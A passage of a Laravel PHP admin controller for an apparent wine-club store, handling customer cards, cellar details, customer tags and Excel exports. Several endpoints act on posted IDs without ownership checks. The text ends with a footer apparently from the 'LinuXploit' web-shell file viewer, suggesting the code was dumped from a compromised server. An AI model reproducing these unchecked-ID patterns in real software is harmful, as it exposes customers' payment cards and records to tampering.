
        $cadastro = Cadastro::find($post['cadastro_id']);

        CadastroCartao::where('cadastro_id', $cadastro->id)->where('empresa_id', $cadastro->empresa_id)->where('principal', 1)->update(['principal' => 0]);

        $cartao = CadastroCartao::find($post['id']);
        $cartao->principal = 1;
        $cartao->save();

        return response()->json(array(
            'status' => true,
            'message' => 'Cartão principal alterado com sucesso!'
        ));

    }

    public function excluirCartao(Request $request){
        $post = $request->input();

        $cadastro = Cadastro::find($post['cadastro_id']);

        $cartao = CadastroCartao::where('cadastro_id', $cadastro->id)->where('id', $post['id'])->first();

        if($cartao){

            $cartao->delete();

            return response()->json(array(
                'status' => true,
                'message' => 'Cartão removido com sucesso!'
            ));
        }else{
            return response()->json(array(
                'status' => false,
                'message' => 'Cartão inválido'
            ));
        }

    }

    public function buscarDetalhesAdega(Request $request){

        $post = $request->input();

        $adega = Adega::find($post['id_adega']);

        if($adega){

        	// $id_status_pedido_venda = $adega->status == 'A' ? 2 : 7;
            $id_status_pedido_venda = [2,7];

            if($adega->confraria_id && !empty($adega->confraria_id)){
                $data['meusVinhos'] = GeralService::buscarVinhosAdega(['id_adega' => $adega->id, 'id_status_pedido_venda' => $id_status_pedido_venda, 'id_confraria' => $adega->confraria_id]);
            }else{
                $data['meusVinhos'] = GeralService::buscarVinhosAdega(['id_adega' => $adega->id, 'id_status_pedido_venda' => $id_status_pedido_venda]);
            }
            $data['adega']      = $adega;

            $view = view('Cadastro::admin/detalhes-adega', $data);

            return response()->json(array(
                'status' => true,
                'message' => 'Detalhes da adega buscados com sucesso!',
                'html' => $view->render()
            ));
        }else{
            return response()->json(array(
                'status' => false,
                'message' => 'Entrega inválida'
            ));
        }

   }

	public function buscar(Request $request){

		$post = $request->input();

		$query = Cadastro::select('cadastro.*', 'u.email', DB::raw("CONCAT(cadastro.nome, ' ', cadastro.sobrenome) as nome_cadastro"));
		$query->join('sis_users as u', 'u.id', '=', 'cadastro.user_id');
		$query->having('nome_cadastro', 'like', '%'.$post['term']['term'].'%');

		$listaClientes = $query->get();

		return response()->json(array('items' => $listaClientes));
	}

    public function salvarTags(Request $request){

        $post = $request->input();
        
        if(count($post['tags']) > 0){

			DB::table('cliente_has_tag')->where('cadastro_id', $post['cadastro_id'])->delete();

			foreach($post['tags'] as $tag){
				DB::table('cliente_has_tag')->insert([
                    'cadastro_id' => $post['cadastro_id'],
                    'tag_id'      => $tag,
				]);
			}
		}	

        return response()->json(array('data' => true));
    }

    public function exportarTagCadastro($tag){
        $data['tags'] = Cadastro::select('cadastro.nome', 'cadastro.sobrenome', 'sis_users.email', DB::raw('COUNT(produto_has_tag.tag_id) as qt_tag'), 'tag.nome as tag_nome')
         ->join('pedido_venda', 'pedido_venda.id_cliente', '=', 'cadastro.id')
         ->join('pedido_venda_has_produto', 'pedido_venda_has_produto.id_pedido_venda', '=', 'pedido_venda.id')
         ->join('produto_has_tag', 'produto_has_tag.produto_id', '=', 'pedido_venda_has_produto.id_produto')
         ->join('tag', 'tag.id', '=', 'produto_has_tag.tag_id')
         ->join('sis_users', 'sis_users.id', 'cadastro.user_id')
         ->where('tag.nome', 'like', '%'.$tag.'%')
         ->groupBy('cadastro.id')
         ->orderBy('qt_tag', 'desc')
         ->get();

        Excel::create('Cadastro-tags- '.date('d-m-Y'), function($excel) use ($data) {
		    $excel->sheet('CADASTRO-TAGS', function($sheet) use ($data){
		        $sheet->loadView('Cadastro::admin/excel-tags-cadastro', $data);
		    });
		})->download('xls');
    }

    public function verificarDisponibilidadeProdutoTag(Request $request){
        $post = $request->input();

        if(!isset($post['tag']) || $post['tag'] == ''){
            return response()->json(array('status' => false));
        }
        
        $produtos = DB::table('produto')
        ->select('produto.*')
        ->join('produto_has_tag', 'produto_has_tag.produto_id', '=', 'produto.id')
        ->where('produto_has_tag.tag_id', $post['tag'])
        ->where('produto.disponibilidade', '>', 0)
        ->get();

        $tag = Tag::find($post['tag']);

        $viewContentModal = view('Cadastro::admin/content-modal-produto-tag', ['produtos' => $produtos, 'tag' => $tag]);

        return response()->json(array('status' => true, 'response' => $viewContentModal->render()));
    }

    public function buscarTagsCadastro(Request $request){
        $post = $request->input();

        $cadastro = Cadastro::where('id', $post['cadastro_id'])->first();

        $tagTipos = DB::table('tag_tipo')->get();
        $data['clienteTags'] = [];
        foreach($tagTipos as $tagTipo){
            $data['clienteTags'][] = GeralService::buscarTagCliente($cadastro->slug, $tagTipo->slug);
        }

        $data['clienteTags'] = Arr::flatten($data['clienteTags']);
        $data['tagsTipos'] = [];

        foreach($data['clienteTags'] as $clienteTag){
            $data['tagsTipos'][$clienteTag->tipoSlug]['nome'] = $clienteTag->tipoNome;
            $data['tagsTipos'][$clienteTag->tipoSlug]['cor'] = $clienteTag->cor;
        }

        return response()->json([
            'status' => true,
            'html' => view('Cadastro::admin/tags', $data)->render()
        ]);

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit